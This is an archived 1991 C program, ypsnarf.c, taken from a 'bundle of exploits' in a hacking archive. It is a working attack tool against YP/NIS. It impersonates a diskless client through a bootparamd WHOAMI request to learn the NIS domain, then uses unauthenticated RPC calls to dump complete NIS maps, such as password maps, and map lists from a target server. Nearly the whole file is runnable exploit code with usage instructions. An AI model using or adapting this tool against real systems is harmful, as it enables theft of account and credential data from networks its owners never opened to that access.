home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ypsnarf.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  10KB  |  415 lines

  1.  
  2. /*
  3.  * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
  4.  * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
  5.  * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM.  PLEASE DO NOT
  6.  * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
  7.  *
  8.  * ypsnarf - exercise security holes in yp/nis.
  9.  *
  10.  * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
  11.  * (casper@fwi.uva.nl).
  12.  *
  13.  * Usage:
  14.  *        ypsnarf server client
  15.  *            - to obtain the yp domain name
  16.  *        ypsnarf server domain mapname
  17.  *            - to obtain a copy of a yp map
  18.  *        ypsnarf server domain maplist
  19.  *            - to obtain a list of yp maps
  20.  *
  21.  * In the first case, we lie and pretend to be the host "client", and send
  22.  * a BOOTPARAMPROC_WHOAMI request to the host "server".  Note that for this
  23.  * to work, "server" must be running rpc.bootparamd, and "client" must be a
  24.  * diskless client of (well, it must boot from) "server".
  25.  *
  26.  * In the second case, we send a YPPROC_DOMAIN request to the host "server",
  27.  * asking if it serves domain "domain".  If so, we send YPPROC_FIRST and
  28.  * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
  29.  * "mapname".  Note that you must specify the full yp map name, you cannot
  30.  * use the shorthand names provided by "ypcat".
  31.  *
  32.  * In the third case, the special map name "maplist" tells ypsnarf to send
  33.  * a YPPROC_MAPLIST request to the server and get the list of maps in domain
  34.  * "domain", instead of getting the contents of a map.  If the server has a
  35.  * map called "maplist" you can't get it.  Oh well.
  36.  *
  37.  * Since the callrpc() routine does not make any provision for timeouts, we
  38.  * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
  39.  * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
  40.  *
  41.  * This program uses UDP packets, which means there's a chance that things
  42.  * will get dropped on the floor; it's not a reliable stream like TCP.  In
  43.  * practice though, this doesn't seem to be a problem.
  44.  *
  45.  * To compile:
  46.  *        cc -o ypsnarf ypsnarf.c -lrpcsvc
  47.  *
  48.  * David A. Curry
  49.  * Purdue University
  50.  * Engineering Computer Network
  51.  * Electrical Engineering Building
  52.  * West Lafayette, IN 47907
  53.  * davy@ecn.purdue.edu
  54.  * January, 1991
  55.  */
  56. #include <sys/param.h>
  57. #include <sys/socket.h>
  58. #include <netinet/in.h>
  59. #include <arpa/inet.h>
  60. #include <rpc/rpc.h>
  61. #include <rpcsvc/bootparam.h>
  62. #include <rpcsvc/yp_prot.h>
  63. #include <rpc/pmap_clnt.h>
  64. #include <sys/time.h>
  65. #include <signal.h>
  66. #include <string.h>
  67. #include <netdb.h>
  68. #include <stdio.h>
  69.  
  70. #define BOOTPARAM_MAXDOMAINLEN    32    /* from rpc.bootparamd        */
  71. #define YPSNARF_TIMEOUT1    15    /* timeout for initial request    */
  72. #define YPSNARF_TIMEOUT2    30    /* timeout during map transfer    */
  73.  
  74. char    *pname;                /* program name            */
  75.  
  76. main(argc, argv)
  77. char **argv;
  78. int argc;
  79. {
  80.     char *server, *client, *domain, *mapname;
  81.  
  82.     pname = *argv;
  83.  
  84.     /*
  85.      * Process arguments.  This is less than robust, but then
  86.      * hey, you're supposed to know what you're doing.
  87.      */
  88.     switch (argc) {
  89.     case 3:
  90.         server = *++argv;
  91.         client = *++argv;
  92.  
  93.         get_yp_domain(server, client);
  94.         exit(0);
  95.     case 4:
  96.         server = *++argv;
  97.         domain = *++argv;
  98.         mapname = *++argv;
  99.  
  100.         if (strcmp(mapname, "maplist") == 0)
  101.             get_yp_maplist(server, domain);
  102.         else
  103.             get_yp_map(server, domain, mapname);
  104.         exit(0);
  105.     default:
  106.         fprintf(stderr, "Usage: %s server client         -", pname);
  107.         fprintf(stderr, "to obtain yp domain name\n");
  108.         fprintf(stderr, "       %s server domain mapname -", pname);
  109.         fprintf(stderr, "to obtain contents of yp map\n");
  110.         exit(1);
  111.     }
  112. }
  113.  
  114. /*
  115.  * get_yp_domain - figure out the yp domain used between server and client.
  116.  */
  117. get_yp_domain(server, client)
  118. char *server, *client;
  119. {
  120.     long hostip;
  121.     struct hostent *hp;
  122.     bp_whoami_arg w_arg;
  123.     bp_whoami_res w_res;
  124.     extern void timeout();
  125.     enum clnt_stat errcode;
  126.  
  127.     /*
  128.      * Just a sanity check, here.
  129.      */
  130.     if ((hp = gethostbyname(server)) == NULL) {
  131.         fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
  132.         exit(1);
  133.     }
  134.  
  135.     /*
  136.      * Allow the client to be either an internet address or a
  137.      * host name.  Copy in the internet address.
  138.      */
  139.     if ((hostip = inet_addr(client)) == -1) {
  140.         if ((hp = gethostbyname(client)) == NULL) {
  141.             fprintf(stderr, "%s: %s: unknown host.\n", pname,
  142.                 client);
  143.             exit(1);
  144.         }
  145.  
  146.         bcopy(hp->h_addr_list[0],
  147.               (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  148.               hp->h_length);
  149.     }
  150.     else {
  151.         bcopy((caddr_t) &hostip,
  152.               (caddr_t) &w_arg.client_address.bp_address.ip_addr,
  153.               sizeof(ip_addr_t));
  154.     }
  155.  
  156.     w_arg.client_address.address_type = IP_ADDR_TYPE;
  157.     bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
  158.  
  159.     /*
  160.      * Send a BOOTPARAMPROC_WHOAMI request to the server.  This will
  161.      * give us the yp domain in the response, IFF client boots from
  162.      * the server.
  163.      */
  164.     signal(SIGALRM, timeout);
  165.     alarm(YPSNARF_TIMEOUT1);
  166.     
  167.     errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
  168.               BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
  169.               xdr_bp_whoami_res, &w_res);
  170.  
  171.     alarm(0);
  172.  
  173.     if (errcode != RPC_SUCCESS)
  174.         print_rpc_err(errcode);
  175.  
  176.     /*
  177.      * Print the domain name.
  178.      */
  179.     printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
  180.  
  181.     /*
  182.      * The maximum domain name length is 255 characters, but the
  183.      * rpc.bootparamd program truncates anything over 32 chars.
  184.      */
  185.     if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
  186.         printf(" (truncated?)");
  187.  
  188.     /*
  189.      * Put out the client name, if they didn't know it.
  190.      */
  191.     if (hostip != -1)
  192.         printf(" (client name = %s)", w_res.client_name);
  193.  
  194.     putchar('\n');
  195. }
  196.  
  197. /*
  198.  * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
  199.  */
  200. get_yp_map(server, domain, mapname)
  201. char *server, *domain, *mapname;
  202. {
  203.     char *reqp;
  204.     bool_t yesno;
  205.     u_long calltype;
  206.     bool (*xdr_proc)();
  207.     extern void timeout();
  208.     enum clnt_stat errcode;
  209.     struct ypreq_key keyreq;
  210.     struct ypreq_nokey nokeyreq;
  211.     struct ypresp_key_val answer;
  212.  
  213.     /*
  214.      * This code isn't needed; the next call will give the same
  215.      * error message if there's no yp server there.
  216.      */
  217. #ifdef not_necessary
  218.     /*
  219.      * "Ping" the yp server and see if it's there.
  220.      */
  221.     signal(SIGALRM, timeout);
  222.     alarm(YPSNARF_TIMEOUT1);
  223.  
  224.     errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  225.               xdr_void, 0);
  226.  
  227.     alarm(0);
  228.  
  229.     if (errcode != RPC_SUCCESS)
  230.         print_rpc_err(errcode);
  231. #endif
  232.  
  233.     /*
  234.      * Figure out whether server serves the yp domain we want.
  235.      */
  236.     signal(SIGALRM, timeout);
  237.     alarm(YPSNARF_TIMEOUT1);
  238.     
  239.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  240.               xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  241.               (caddr_t) &yesno);
  242.  
  243.     alarm(0);
  244.  
  245.     if (errcode != RPC_SUCCESS)
  246.         print_rpc_err(errcode);
  247.  
  248.     /*
  249.      * Nope...
  250.      */
  251.     if (yesno == FALSE) {
  252.         fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  253.             server, domain);
  254.         exit(1);
  255.     }
  256.  
  257.     /*
  258.      * Now we just read entry after entry...  The first entry we
  259.      * get with a nokey request.
  260.      */
  261.     keyreq.domain = nokeyreq.domain = domain;
  262.     keyreq.map = nokeyreq.map = mapname;
  263.     reqp = (caddr_t) &nokeyreq;
  264.     keyreq.keydat.dptr = NULL;
  265.  
  266.     answer.status = TRUE;
  267.     calltype = YPPROC_FIRST;
  268.     xdr_proc = xdr_ypreq_nokey;
  269.  
  270.     while (answer.status == TRUE) {
  271.         bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
  272.  
  273.         signal(SIGALRM, timeout);
  274.         alarm(YPSNARF_TIMEOUT2);
  275.  
  276.         errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
  277.                   reqp, xdr_ypresp_key_val, &answer);
  278.  
  279.         alarm(0);
  280.  
  281.         if (errcode != RPC_SUCCESS)
  282.             print_rpc_err(errcode);
  283.  
  284.         /*
  285.          * Got something; print it.
  286.          */
  287.         if (answer.status == TRUE) {
  288.             printf("%.*s\n", answer.valdat.dsize,
  289.                    answer.valdat.dptr);
  290.         }
  291.  
  292.         /*
  293.          * Now we're requesting the next item, so have to
  294.          * send back the current key.
  295.          */
  296.         calltype = YPPROC_NEXT;
  297.         reqp = (caddr_t) &keyreq;
  298.         xdr_proc = xdr_ypreq_key;
  299.  
  300.         if (keyreq.keydat.dptr)
  301.             free(keyreq.keydat.dptr);
  302.  
  303.         keyreq.keydat = answer.keydat;
  304.  
  305.         if (answer.valdat.dptr)
  306.             free(answer.valdat.dptr);
  307.     }
  308. }
  309.  
  310. /*
  311.  * get_yp_maplist - get the yp map list for  yp domain "domain" from server.
  312.  */
  313. get_yp_maplist(server, domain)
  314. char *server, *domain;
  315. {
  316.     bool_t yesno;
  317.     extern void timeout();
  318.     struct ypmaplist *mpl;
  319.     enum clnt_stat errcode;
  320.     struct ypresp_maplist maplist;
  321.  
  322.     /*
  323.      * This code isn't needed; the next call will give the same
  324.      * error message if there's no yp server there.
  325.      */
  326. #ifdef not_necessary
  327.     /*
  328.      * "Ping" the yp server and see if it's there.
  329.      */
  330.     signal(SIGALRM, timeout);
  331.     alarm(YPSNARF_TIMEOUT1);
  332.  
  333.     errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
  334.               xdr_void, 0);
  335.  
  336.     alarm(0);
  337.  
  338.     if (errcode != RPC_SUCCESS)
  339.         print_rpc_err(errcode);
  340. #endif
  341.  
  342.     /*
  343.      * Figure out whether server serves the yp domain we want.
  344.      */
  345.     signal(SIGALRM, timeout);
  346.     alarm(YPSNARF_TIMEOUT1);
  347.     
  348.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
  349.               xdr_wrapstring, (caddr_t) &domain, xdr_bool,
  350.               (caddr_t) &yesno);
  351.  
  352.     alarm(0);
  353.  
  354.     if (errcode != RPC_SUCCESS)
  355.         print_rpc_err(errcode);
  356.  
  357.     /*
  358.      * Nope...
  359.      */
  360.     if (yesno == FALSE) {
  361.         fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
  362.             server, domain);
  363.         exit(1);
  364.     }
  365.  
  366.     maplist.list = (struct ypmaplist *) NULL;
  367.  
  368.     /*
  369.      * Now ask for the list.
  370.      */
  371.     signal(SIGALRM, timeout);
  372.     alarm(YPSNARF_TIMEOUT1);
  373.  
  374.     errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
  375.               xdr_wrapstring, (caddr_t) &domain,
  376.               xdr_ypresp_maplist, &maplist);
  377.  
  378.     alarm(0);
  379.  
  380.     if (errcode != RPC_SUCCESS)
  381.         print_rpc_err(errcode);
  382.  
  383.     if (maplist.status != YP_TRUE) {
  384.         fprintf(stderr, "%s: cannot get map list: %s\n", pname,
  385.             yperr_string(ypprot_err(maplist.status)));
  386.         exit(1);
  387.     }
  388.  
  389.     /*
  390.      * Print out the list.
  391.      */
  392.     for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
  393.         printf("%s\n", mpl->ypml_name);
  394. }
  395.  
  396. /*
  397.  * print_rpc_err - print an rpc error and exit.
  398.  */
  399. print_rpc_err(errcode)
  400. enum clnt_stat errcode;
  401. {
  402.     fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
  403.     exit(1);
  404. }
  405.  
  406. /*
  407.  * timeout - print a timeout and exit.
  408.  */
  409. void timeout()
  410. {
  411.     fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
  412.     exit(1);
  413. }
  414.  
  415.